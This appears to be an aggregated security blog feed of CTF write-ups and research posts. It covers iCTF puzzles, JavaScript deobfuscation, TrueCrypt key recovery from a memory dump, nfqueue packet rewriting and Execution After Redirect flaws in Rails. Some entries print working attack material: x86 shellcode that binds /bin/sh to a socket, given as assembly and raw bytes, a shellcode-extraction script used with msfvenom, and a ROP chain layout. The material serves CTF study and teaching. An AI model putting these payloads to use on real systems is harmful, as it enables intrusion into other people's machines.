When running the binary, it's pretty clear that it decrypts and dumps a file, then launches vlc to play it. Here's the output of a given run:
![]() |
| decryption loop |
by Zardus (noreply@blogger.com) at January 26, 2012 12:35 PM
![]() |
| decryption loop |
by Zardus (noreply@blogger.com) at January 26, 2012 12:35 PM
The attachment is a base64-encoded QR code in ascii art. Print it with a really tiny monospace font, decode it and you'll have the solution.
Hey dude,
I just found Alexey "Donkey" Dragunov passed out in the server room, stinkin' drunk.
Damn him... He probably freaked out for tomorrow, thinking we will never make it.
But *we* will.
We always do.
I still need to "do the deed" with Monaco's tranche.
I know the site to use for it is legitimatebiz.ictf2011.info, but I have no freakkin' clue on
what to do there.
You're good at this stuff. Can you help me?
The only thing I found is the sheet of paper attached. It was sticking on the servers, sucked it
by the fans.
As always, you will *not* fail me.
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-virtual x86_64)Solution: ComeOnTooEasy
[..]
ComeOnTooEasyConnection to legitimatebiz.ictf2011.info closed.
A lot of people told me they loved this one :).When I was playing around with the backdoor I deployed on Zeus' laptop,
I found that he was very interested in this page.
Discover why, and if it's worth something, you'll get a good cut.
Attached: inferno.html
Yep, it's BrainFuck. Its execution printed this+++++++++++++++++++++++++[>++>+++>++++>+++++<<<<-]+++++++++++++++++++++++++>>>-----------.>--------------.<<<------.<+++++++.>>---------.>>----------.+++++++++.<<<.<.>>>>------.---.+++++++++++++.<++++++++++++.<<-----.>>>+.<<<<.>>>>++++++.<++++++++++.>----.<+++.<<<.>>>---------------.>.-.<<<<.>>>+++.>-----.+++.<<<<.>>>>++.<++.---.<<<.>>>-----------.>-----------.++++..--------.+++++++++++++.-----.<+++++++.>+..<<<<.>>>>----.+++++.<+.<<<.>>>>------.+++++.<<<<.>>+++++++++++++++.>>+++++++.<-.>-------.++++++.<++++++++.------.>-----.<<<+++++++.<..>>--------.<<.>>>>----.+++.+.++++++++.<<<<.>>>>--------.-.--.+++++++++++++.<<<<.>>>>.----------.++++++.<<<<----------------------.>>>.--.>-------.<<<--------------.>>+++.+.--.>+.<+.+.<<.>>>--.<.>++++++..<----.++++++.--.>.<<<.>>>.<.>-----.++++++.<<<.>>+.>--.---.--.<<<.>>>+++++++.<++.---.<<.>>--.++++++.>--.<------.>------.<++.>+++++++.<<<.>>>----.<+.<<.>>++.---.>---..<<<++++++++++++.------------.>>>+++++++.----.<<<.>>-.>.-.<<<+++++++.>>>++++++.<<<-------.>>>.--.+++++++.<<<.>>>-----.-----.<<<.>>-.>.--.+++.----.<--.>---.+++++.<<<<.>>>.++++++.------.>-----.+++++.<<<.>>>++++++.<+++++++.-------.>.<<<.>>>+++++.----------.++++++.<<<.>>>-------.<++++.>++++++++.<.>----.<<<.>>++.>---.+++++.<<<.>>>.<+.---.<<.>>>-------.++.-.<.>+++++++++++.<<<++++++++++++++.<.>>--.>++++++++++.-----------.>------.---.<+..-.<<--.<.>------------....>--.>>--.<+++++.--.>-.<------.<<<...>++++++++.>--.-.-------.-.-.>----.>+++++++++++++++++.-.<<----.>----.>---.<<---.>---.>---.<<---.>---.>---.<--.>--.<<<++.-.>>----.<+++++++++++.<+++.-.-.-.-.-.-.-.-.-.-.-.>>>++++++++++++.-.-.-.-.-.-.<<--.-.--.>>----.<<<+.>---.>>++++++++++.--------------.<<--.>>--.-.<<----.-.>>---.-------.+++++.<<----.>>--------.<<--.<<.
Yo, Ben, here's your cut for the Zimmermann job in Quantico. I know only you
can decode messages sent from the circles of hell, so don't try to complain
again that you never got the money.
Godspeed,
Enigma
(CB;:9]~}5Yz2Vw/StQr*)M:,+*)('&%$#"!~}|{zyx875t"2~p0nm,+jch'`%
Here at iCTF HQ, we have a little ADD problem.
Seeing how cheap domain were when we registered ictf2011.info, we decided to buy another domain.
There was a bulk discount!
Cool, ha?
Except, we forgot what the domain was.
Can you find it?
SQUIRREL!
by Luca Invernizzi (noreply@blogger.com) at December 24, 2011 08:18 AM
One of my iCTF challenges was a simple JavaScript obfuscation, a backup of the code is available here. What happens is obvious, window.alert is triggered with the message “why?”. “Why” is less obvious since the code was encoded with jjencode. There are no other visible hints.
To further look into window.alert, we can overwrite the function:
window.alert = function(e) { console.log(JSON.stringify(e)); };
After re-running the code we see that window.alert is not being called with a String as argument, but with an object which contains the attribute:
{"secret":"Angelina Jolie's only good movie, in leet speak, reverse is the key"}
The solution is obviously: Hackers
FYI: Before the obfuscation the code looked like this:
var obj = { };
obj.secret = "Angelina Jolie's only good movie, in leet speak, reverse is the key";
obj.toString = function(e) { return "why?"; };
obj.toSource = function(e) { return "function toSource() {\n" +
" [native code]\n" +
"}\n"
};
window.alert(obj);
void
f(void)
{
//__asm__ or C code
}
int
main()
{
f();
}
#!/usr/bin/pythonYou simply pipe or paste the output of objdump -D into the script and it outputs the opcodes in raw binary form, as C-array or python-string.
import sys
import re
def get_code():
code = []
lines = sys.stdin.readlines()
pattern = re.compile('.*:\s+(([0-9a-f]{2} | [0-9a-f]{2})+)($|\s\s\s\s+.*)')
hexpat = re.compile('([0-9a-f]{2})')
for i in lines:
i = i.rstrip('\n')
match = re.search(pattern, i)
if match:
match = re.findall(hexpat, match.group(1))
for byte in match:
code.append(int(byte, 16))
else:
raise Exception('line "%s" did not match expected format' % (i))
return code
def write_binary(code):
for byte in code:
sys.stdout.write("%c" % byte)
def write_c_arr(code):
sys.stdout.write('static char code [] = "')
for byte in code:
sys.stdout.write("\\x%02x" % byte)
sys.stdout.write('";\n')
def write_python_string(code):
sys.stdout.write('code = "')
for byte in code:
sys.stdout.write("\\x%02x" % byte)
sys.stdout.write('"\n')
def usage(name):
print "%s \npossible modes:\n\t-b binary (default)\n\t-p python\n\t-c C\n\ninput is read from stdin" % name
def main():
if len(sys.argv) == 2 and (sys.argv[1] == '-h' or sys.argv[1] == '--help'):
usage(sys.argv[0])
sys.exit(0)
code = get_code()
if len(sys.argv) == 2:
if sys.argv[1] == '-b':
write_binary(code)
elif sys.argv[1] == '-p':
write_python_string(code)
elif sys.argv[1] == '-c':
write_c_arr(code)
else:
write_binary(code)
if __name__ == '__main__':
main()
shell_code.py -cThis script can be used with metasploit's msfvenom to create shellcode that is for example also free of zerobytes and newlines and has a 200 byte nop-sled prepended:
80483a6: 90 nop
80483a7: 31 d2 xor %edx,%edx
80483a9: 31 db xor %ebx,%ebx
80483ab: 31 ff xor %edi,%edi
80483ad: 31 c9 xor %ecx,%ecx
80483af: b3 09 mov $0x9,%bl
80483b1: 66 bf 3e 00 mov $0x3e,%di
80483b5: b1 05 mov $0x5,%cl
80483b7: 52 push %edx
80483b8: 53 push %ebx
80483b9: 51 push %ecx
80483ba: 52 push %edx
80483bb: 89 f8 mov %edi,%eax
80483bd: cd 91 int $0x91
80483bf: 6a 01 push $0x1
80483c1: 53 push %ebx
80483c2: 51 push %ecx
80483c3: 52 push %edx
80483c4: 89 f8 mov %edi,%eax
80483c6: cd 91 int $0x91
80483c8: 6a 02 push $0x2
80483ca: 53 push %ebx
80483cb: 51 push %ecx
80483cc: 52 push %edx
80483cd: 89 f8 mov %edi,%eax
80483cf: cd 91 int $0x91
80483d1: 31 c0 xor %eax,%eax
80483d3: 50 push %eax
80483d4: 68 6e 2f 73 68 push $0x68732f6e
80483d9: 68 2f 2f 62 69 push $0x69622f2f
80483de: 89 e3 mov %esp,%ebx
80483e0: 50 push %eax
80483e1: 53 push %ebx
80483e2: 89 e2 mov %esp,%edx
80483e4: 50 push %eax
80483e5: 52 push %edx
80483e6: 53 push %ebx
80483e7: b0 3b mov $0x3b,%al
80483e9: 50 push %eax
80483ea: cd 91 int $0x91
static char code [] = "\x90\x31\xd2\x31\xdb\x31\xff\x31\xc9\xb3\x09\x66\xbf\x3e\x00
\xb1\x05\x52\x53\x51\x52\x89\xf8\xcd\x91\x6a\x01\x53\x51\x52\x89\xf8\xcd\x91\x6a\x02
\x53\x51\x52\x89\xf8\xcd\x91\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\x50\xcd\x91";
shell_code.py | ./msfvenom -p - -n 200 -b '\x00\x0a' -f c
int __cdecl client_callback(int fd)
{
void *v1; // esp@1
uint16_t v2; // ax@3
int v4; // [sp+0h] [bp-38h]@1
int execute_buf; // [sp+Ch] [bp-2Ch]@1
int *v6; // [sp+10h] [bp-28h]@1
int v7; // [sp+14h] [bp-24h]@6
void (*execute_the_buffer)(void); // [sp+18h] [bp-20h]@1
socklen_t len; // [sp+1Ch] [bp-1Ch]@1
struct sockaddr addr; // [sp+20h] [bp-18h]@1
v6 = &v4;
v1 = alloca(16 * ((unsigned int)(BUFSIZE + 30) >> 4));
execute_buf = 16 * ((unsigned int)((char *)&execute_buf + 3) >> 4);
execute_the_buffer = (void (*)(void))(16 * ((unsigned int)((char *)&execute_buf + 3) >> 4) + 1);
len = 16;
if ( getpeername(fd, &addr, &len) == -1 )
exit(-1);
v2 = ntohs(*(uint16_t *)&addr.sa_data[0]);
printf("port: %d \n\n\n", v2);
if ( ntohs(*(uint16_t *)&addr.sa_data[0]) > 0x1387u && ntohs(*(uint16_t *)&addr.sa_data[0]) <= 0x1770u )
exit(-1);
v7 = readAll(fd, execute_buf, BUFSIZE);
printf("read %d bytes\n\n\n", v7);
execute_the_buffer();
return 0;
}
#include <stdio.h>
#include <sys types.h>
#include <unistd.h>
#include <fcntl.h>
void f(void);
int
main(int argc, char **argv)
{
f();
}
void f(void)
{
__asm__(
//padding
"nop \n"
//dup 0 into 5
"xor %edx, %edx \n"
"xor %ebx, %ebx \n"
"xor %edi, %edi \n"
"xor %ecx, %ecx \n"
"mov $9, %bl \n"
"mov $62, %di \n"
"mov $5, %cl \n"
"push %edx \n"
"push %ebx \n"
"push %ecx \n"
"push %edx \n"
"mov %edi, %eax \n"
"int $0x91 \n"
//dup 1 into 5
"push $1 \n"
"push %ebx \n"
"push %ecx \n"
"push %edx \n"
"mov %edi, %eax \n"
"int $0x91 \n"
//dup 2 into 5
"push $2 \n"
"push %ebx \n"
"push %ecx \n"
"push %edx \n"
"mov %edi, %eax \n"
"int $0x91 \n"
// //close stdin
// "push %edx \n"
// "push %edx \n"
// "incl %ecx \n"
// "mov %ecx, %eax \n"
// "int $0x91 \n"
//shell
"xorl %eax,%eax \n"
"pushl %eax \n"
"pushl $0x68732f6e \n"
"pushl $0x69622f2f \n"
"movl %esp,%ebx \n"
"pushl %eax \n"
"pushl %ebx \n"
"movl %esp,%edx \n"
"pushl %eax \n"
"pushl %edx \n"
"pushl %ebx \n"
"movb $0x3b,%al \n"
"pushl %eax \n"
"int $0x91 \n"
);
}
\x90\x31\xd2\x31\xdb\x31\xff\x31\xc9\xb3\x09\x66\xbf\x3e\x00\xb1\x05\x52\x53\x51\x52\x89\xf8\xcd\x91\x6a\x01\x53\x51\x52\x89\xf8\xcd\x91\x6a\x02\x53\x51\x52\x89\xf8\xcd\x91\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\x50\xcd\x91That's it. For future reference, here's the mapping between the familiar Debian commands and the OpenSolaris ones that were useful in the competition.
by Luca Invernizzi (noreply@blogger.com) at June 06, 2011 11:22 AM
This is a writeup of the PlaidCTF 500 pts challenge “Fun with Firewire”.
###############
Description:
Category: forensics
All of the machines at the AED office are encrypted using the amazing TrueCrypt software.
When we grabbed one of their USB sticks from a computer, we also grabbed the memory using the Firewire port.
Recover the key using the truecrypt image and the memory dump.
http://www.plaidctf.com/chals/81d9467f812d2fbb32e9d4b915cccfe457245f25.tar.bz2
###############
To get an overview of the memory dump we inspect it with volatility. We see that TrueCrypt was running at the moment the dump was taken … good.
Further inspection of the memory dump reveals that the Operating System is Windows XP SP3, and the latest version of TrueCrypt (7.0a) is used. We reconstruct the setup by launching a VirtualBox installation, and we extract the memory using Mantech Memory Dumper mdd http://sourceforge.net/projects/mdd/. TrueCrypt offers the possibility to cache the passwords for mounting encrypted volumes. Comparing different memory dumps let us conclude that password caching was not enabled in the TrueCrypt software.
We briefly summarize the relevant technical details of TrueCrypt. More information can be found at http://www.truecrypt.org/docs/. In order to mount an encrypted volume, TrueCrypt uses the password and/or one or more key-files in order to decrypt the header (first 512 bytes of the volume). If the header gets correctly decrypted (a magic cookie is found), TrueCrypt reads the configuration (encryption algorithm and mode, etc.) as well as the master and secondary key into memory, and safely overwrites the memory regions where the password / key-file location was stored. The extracted master and secondary key is used for any further encryption and decryption of data. Since the data is encrypted and decrypted on the fly, these keys remain in memory. (Note that recent papers suggest storing the keys in CPU registers, more specifically in SSE registers http://portal.acm.org/citation.cfm?id=1752053 or in MSR registers http://arxiv.org/abs/1104.4843 instead of in the RAM in order to mitigate against these attacks.).
The default cipher used by TrueCrypt is AES in XTS mode which uses two 256 Bit AES-keys. We have to locate these keys in the memory dump. One option would be to analyze the data-structures and locate the memory region where TrueCrypt stores the keys. But it is easier to use a generic approach to locate AES keys since a tool for that task was already written for the “cold boot attack”-research by Jacob Applebaum: AESKeyFinder http://citp.princeton.edu/memory/code/.
Once we have the right keys, we replace the header of the encrypted volume with the header of an identical volume which we created and where we set the password (so that TrueCrypt starts the mounting process correctly), but have TrueCrypt patched so that it uses the extracted keys from the memory dump instead of the ones from the newly generated header.
AESKeyFinder inspects memory dumps (or actually any kind of files) and performs a simple heuristic to estimate entropy. The tool targets the expanded AES keys and tests whether a contiguous region in memory satisfies the constraints of a valid AES key schedule https://secure.wikimedia.org/wikipedia/en/wiki/Rijndael_key_schedule.
So we run the tool in verbose mode:
##########################
./aeskeyfind physmem.bin -qv
FOUND POSSIBLE 256-BIT KEY AT BYTE 1166008
KEY: f0cbf260e0ca8ec2431089fb393a1c29513aaaa5847d13e8be84760968e64dc6
EXTENDED KEY:
f0cbf260e0ca8ec2431089fb393a1c29
513aaaa5847d13e8be84760968e64dc6
7f2846259fe2c8e7dcf2411ce5c85d35
88d2e6330caff5dbb22b83d2dacdce14
c0a3bc725f41749583b33589667b68bc
bbf3a356b75c568d0577d55fdfba1b4b
300c0fec6f4d7b79ecfe4ef08a85264c
c564547f723802f2774fd7ada8f5cce6
de47812eb10afa575df4b4a7d77192eb
cbc71b96b9ff1964ceb0cec96645022f
a030941d113a6e4a4ccedaed9bbf4806
dfcf49f96630509da8809e54cec59c7b
26eeb59637d4dbdc7b1a0131e0a54937
3ec9726358f922fef079bcaa3ebc20d1
03598b24348d50f84f9751c9af3218fe
CONSTRAINTS ON ROWS:
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000
a4ba4e5eec12a4d672ca77143c4062874ae580efb9fe97bde3b3e6a81897e19b
1c2d49fc319ab86e317a676a77adecd005c26ac2f92330f4bf57e7fd25517be4
f0887dbdb886bbce1d09192c46d78bba7767303042f20f9e97f4a2ee9a069c19
896fc79ff18f46ec0300545c5bde9296ad29fd8abf019cbcc4286d680df23ef7
374fb5bf43bcc26f310dd6dd58dec6ca33047ae03810315e969c3149c9da539f
2d01ca16d2ec47826d5b7f7b69d31017a8d05433be7447d9e50989fc5f4662d6
461e700719d173152baa731904886f6c53e82a369c82e066c6575955a70678ed
FOUND POSSIBLE 256-BIT KEY AT BYTE 11674d4
KEY: 9b18635534875fc2ba1a74616e961caaaa907d8b285c7625bb44eb256b8de59d
EXTENDED KEY:
9b18635534875fc2ba1a74616e961caa
aa907d8b285c7625bb44eb256b8de59d
c7c13d2af34662e8495c168927ca0a23
66e41aad4eb86c88f5fc87ad9e716230
666b3921952d5bc9dc714d40fbbb4763
690eba5627b6d6ded24a51734c3b3343
80a82308158578c1c9f43581324f72e2
4a8aface6d3c2c10bf767d63f34d4e20
6b8794057e02ecc4b7f6d94585b9aba7
dddc9892b0e0b4820f96c9e1fcdb87c1
c290ecb5bc9200710b64d9348edd7293
c41dd84e74fd6ccc7b6ba52d87b022ec
050322a2b99122d3b2f5fbe73c288974
2f297fdc5bd4131020bfb63da70f94d1
33211cfe8ab03e2d3845c5ca046d4cbe
CONSTRAINTS ON ROWS:
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000
d9ea24470c5bf1b15f3fe8d33eb683089a7ff9f198bb75cd3d2d8bed76e54625
f3acc19f88a6775a9e5c1d35828683225f9eebc3f912bd22c286ca034f297f9f
60f8969f3f106db49ffe4e6b1cda9e1776e957cf4dc7c9544c8871c38dafb59c
05a596765f1e018fb150a1bf8324d07caadd339decc14ac9b02f10f1c127c45f
5738b9015cbe40304bcdd62f327471c33b9672c7ada60c16d749078f7108d4ae
ca866774b97f05196d03a57579b9a7ec241885799511a598317b9cd2a641d321
b0823347a1175dd64d710fca14ba0299489e0a17bc3d358e83c3ff1b3c9ac97e
FOUND POSSIBLE 256-BIT KEY AT BYTE 7d852cc
KEY: 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f
EXTENDED KEY:
000102030405060708090a0b0c0d0e0f
101112131415161718191a1b1c1d1e1f
a573c29fa176c498a97fce93a572c09c
1651a8cd0244beda1a5da4c10640bade
ae87dff00ff11b68a68ed5fb03fc1567
6de1f1486fa54f9275f8eb5373b8518d
c656827fc9a799176f294cec6cd5598b
3de23a75524775e727bf9eb45407cf39
0bdc905fc27b0948ad5245a4c1871c2f
45f5a66017b2d387300d4d33640a820a
7ccff71cbeb4fe5413e6bbf0d261a7df
f01afafee7a82979d7a5644ab3afe640
2541fe719bf500258813bbd55a721c0a
4e5a6699a9f24fe07e572baacdf8cdea
24fc79ccbf0979e9371ac23c6d68de36
CONSTRAINTS ON ROWS:
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000
6948172fbb0d7ded3b16ce30696cda326d54b8480a0e0a0e0a0e0a0e0a0e0a0e
b29a81a5000000000000000000000000720676bd000000000000000000000000
69b5cd83000000000000000000000000fec82ba5000000000000000000000000
58fbba6f000000000000000000000000e2d69177000000000000000000000000
1fe3a63900000000000000000000000031467b85000000000000000000000000
b6a85bf0000000000000000000000000deaed73f000000000000000000000000
7cdc8bf900000000000000000000000045804db8a3b9352ffd620c9386f2fa8e
##########################
The “constraint on rows”-output tells us that the expanded keys are valid according to the AES key schedule. If we had bit errors in the respective memory regions (likely in cold boot attacks), not all constraints would have been met and AESKeyFinder would have calculated a guess for the original valid key.
So we have three keys after only a few of seconds of runtime – so far so good.
--- truecrypt-7.0a-source/Volume/VolumeHeader.cpp
+++ truecrypt-7.0a-source.patched//Volume/VolumeHeader.cpp
06:00:20.000000000 -0700
@@ -6,6 +6,10 @@
+#include <iostream>
+#include <cstdlib>
+#include <cstdio>
+#include <fstream>
#include "Crc32.h"
#include "EncryptionModeXTS.h"
#include "Pkcs5Kdf.h"
@@ -201,8 +206,19 @@ namespace TrueCrypt if (typeid (*mode) == typeid (EncryptionModeXTS))
{
- ea->SetKey (header.GetRange (offset, ea->GetKeySize()));
- mode->SetKey (header.GetRange (offset + ea->GetKeySize(), ea->GetKeySize()));
+
+ char * buffer = (char *)malloc(65);
+ buffer[64] = ‘\x00′;
+ memcpy(buffer, “\xf0\xcb\xf2\x60\xe0\xca\x8e\xc2\x43\x10\x89\xfb\x39\x3a\x1c\x29\x51\x3a\xaa\xa5\x84\x7d\x13\xe8\xbe\x84\x76\x09\x68\xe6\x4d\xc6\x9b\x18\x63\x55\x34\x87\x5f\xc2\xba\x1a\x74\x61\x6e\x96\x1c\xaa\xaa\x90\x7d\x8b\x28\x5c\x76\x25\xbb\x44\xeb\x25\x6b\x8d\xe5\x9d”, 64);
+ //ea->SetKey (header.GetRange (offset, ea->GetKeySize()));
+
+ ConstBufferPtr cbp = (ConstBufferPtr( (TrueCrypt::byte*) buffer, 32));
+ ea->SetKey (cbp);
+
+ ConstBufferPtr cbpm = (ConstBufferPtr( (TrueCrypt::byte*) buffer +32, 32));
+ //mode->SetKey (header.GetRange (offset + ea->GetKeySize(), ea->GetKeySize()));
+ mode->SetKey (cbpm);
+
}
else
{
In order for TrueCrypt to reach the patched code it must first correctly decrypt a valid header. So we copy the header from an identically sized TrueCrypt volume configured with the default parameters:
$ dd of=ppp.challenge.vol if=weknowthepasswd.vol bs=512 count=1 conv=notrunc
and open ppp.challenge.vol with the patched TrueCrypt software and find the file KEY.TXT in the correctly decrypted volume.
People involved in solving this challenge: Clemens Hlauschek, Michael Weissbacher
# iptables -A OUTPUT -p tcp -j NFQUEUE
import nfqueue
q = None
def cb(dummy, payload):
...
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(cb)
q.create_queue(0)
try:
q.try_run()
except KeyboardInterrupt:
print "Exiting..."
q.unbind(socket.AF_INET)
q.close()
from scapy.all import IP
def cb(dummy, payload):
pkt = IP(payload.get_data())
# set the TTL
pkt.ttl = 10
# clear the IP checksum so that Scapy recalculates it, since we modified the IP header
del pkt.chksum
# reinject the packet!And that's it. Basically, we're using the set_verdict_modified() function instead of set_verdict(), and it takes the verdict, the modified packet, and the length of the modified packet as arguments. Of course, for something simple like setting the TTL, you can just use iptables without dropping the packet to userland, but this should illustrate the basic idea.
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
# ./first_cpp
Usage: ./first_cpp <name> <point>
void __cdecl stupid_function(int obj_ptr, int points, int name_ptr)
{
char src; // [sp+26h] [bp-32h]@1
sprintf(&src, "Uploading... [%s]: %d pts\n", name_ptr, points);
memcpy(s, &src, 0x32u);
(**(int (__cdecl ***)(_DWORD, _DWORD))obj_ptr)(obj_ptr, s);
send_to_localhost();
}
mov eax, [ebp+obj_ptr]
mov eax, [eax]
mov edx, [eax]
mov dword ptr [esp+4], offset s
mov eax, [ebp+obj_ptr]
mov [esp], eax
call edx
(gdb) p atoi
$5 = {int (const char *)} 0xf7d50b40
(gdb) x/i do_system+1128
0xf7d5c398 : call 0xf7dbc3f0 <__execve>
(gdb) p 0xf7d5c398 - 0xf7d50b40
$6 = 47192
mov eax, [ebp-0x1C]
mov [esp], eax
call _sendto
add eax, 8
mov [esp], eax
call _bzero
-------- copied into bbs ---------
00. "AAAA"
04. "AAAA"
08. "AAAA"
12. POP3_RET
16. POP_RET
20. "\xe2\x9d\x04\x08"
24. "\xea\x9d\x04\x08"
28. LEAVE_RET
32. "%.4s"
-------- on the stack ---------
36. "BBBB"
40. POP_RET
44. "\xe6\x9d\x04\x08"
48. POP_RET
52. "\xe6\x9d\x04\x08"
56. "\xec\x85\x04\x08"
60. POP3_RET
64. "\xd4\x9d\x04\x08"
68. "\xee\x9d\x04\x08"
72. "\x58\x9d\x04\x08"
76. "\xec\x85\x04\x08"
80. POP3_RET
84. "\x3c\x9d\x04\x08"
88. "\xee\x9d\x04\x08"
92. "\xda\x9d\x04\x08"
96. "\xec\x85\x04\x08"
100. POP3_RET
104. "\x64\x9d\x04\x08"
108. "\xee\x9d\x04\x08"
112. "\xda\x9d\x04\x08"
116. POP_RET
120. "\xe0\x9d\x04\x08" # 0x8049dec -- where we wrote - 1C
124. "\x49\x89\x04\x08" # get atoi address into eax
128. JUST_RET
132. JUST_RET
136. JUST_RET
140. JUST_RET
for i in range(5883):
144. "\x0f\x89\x04\x08"
148. "AAAA"
152. "AAAA"
156. "\x9f\x87\x04\x08"
160. "\xf2\x9d\x04\x08"
164. "\xf2\x9d\x04\x08"
by Gianluca Stringhini (noreply@blogger.com) at April 29, 2011 02:31 PM
Hi all, I’m here to talk about a little known web vulnerability that Bryce Boe already touched on. Execution After Redirects are logic flaws in web applications that can lead to Information Disclosure and Broken Access Controls.
Well, an Execution After Redirect (EAR) flaw is when a developer causes an HTTP redirect to occur, typically via a web framework. The developer assumes that execution stops after the redirect, however, execution continues.
Let’s look at a Ruby on Rails example (names have been changed to hide the guilty):
class TopicsController < ApplicationController def update @topic = Topic.find(params[:id]) unless current_user.is_admin? redirect_to "/" end if @topic.update_attributes(params[:topic]) flash[:notice] = "Topic updated!" end end end
It appears that if the current user is not an admin, they are redirected to “/”, the web site root. In fact, if you access the update controller using a browser while not an admin, it will redirect you to the web site root like expected. However, if an attacker who is not an admin makes a request with topic parameters, she will be able to update your topic without being an admin!
The fix is pretty simple, always return after a redirect!
EARs can be more complicated. For example, there’s a controller that calls a method that calls a redirect. The real fix is to know where your redirects are, and what they’re for, especially if you use a redirect during authentication.
Web application frameworks differ on if they stop execution after a redirect. Check your web framework’s documentation to see if the redirect method stops execution.
Bryce Boe and I are writing a paper studying this problem in depth. However, since I am alerting developers to potential EARs in their code, I wanted to have this informational blog post giving an overview. In addition, I developed a tool to staticially detect EARs in Ruby on Rails. Look for more blog posts in the future about the tool.
In an effort to improve my writing and analysis skills, I’m going to review papers using less than 500 words. This is my first attempt.
Saner: Composing Static and Dynamic Analysis to Validate Sanitization in Web Applications is a paper written by Davide Balzarotti et. al., and was published at the IEEE Symposium on Security and Privacy in 2008.
Saner attempts to solve the problem of verifying the correctness of sanitization functions. Previous work on analyzing web applications for vulnerabilities assume that built-in sanitization functions completely protect the application from vulnerabilities. This assumption is typically extended to custom sanitization functions (regular expressions, string replacements, etc.)
Proper analysis of sanitization functions would enable a tool to be more precise about the vulnerabilities that it discovers. It can also be used to analyze a language’s built-in sanitization functions.
Saner utilizes static and dynamic approaches to analyze sanitization functions.
The static part was built by extending Pixy to keep track of the string values that each variable can hold. Saner can see if a variable can be used as output and if it is used in the output. However, the method used to keep track of the string values is an over-approximation, which might produce false-positives (but not false-negatives).
A dynamic approach is used to reduce the number of false-positives by generating inputs and seeing if those inputs trigger a vulnerability. In this way, Saner can present all the verified vulnerabilities, but if the user wishes, also present all the possible vulnerabilities so the user can investigate.
Saner inherits the same limitations as Pixy, namely it does not support PHP’s eval function and aliased array elements.
An extension to this (and other static web analyzers) would be to use the context of a variables output in the HTML page. For instance, variables that output to the headers of an HTTP response are vulnerable to HTTP Response Splitting and need to disallow ‘\r’ and ‘\n’, while these characters are safe when output in the HTML response. Another example is a variable that is output after a starting script tag but before the ending tag to customize the JavaScript sent to the user. Here’s a simple example of this:
<script> var userName = "<?php echo $userName; ?>"; </script>
In this case, restricting only ‘<’ and ‘>’ will not work. The idea of context can be extended to attributes of HTML tags.
Another problem is how to treat variables from the database: are they sanitized or not? A static analyzer that is able to properly model and taint the flow of data into and out of the database would be very cool (and if you know of someone who’s done this, let me know).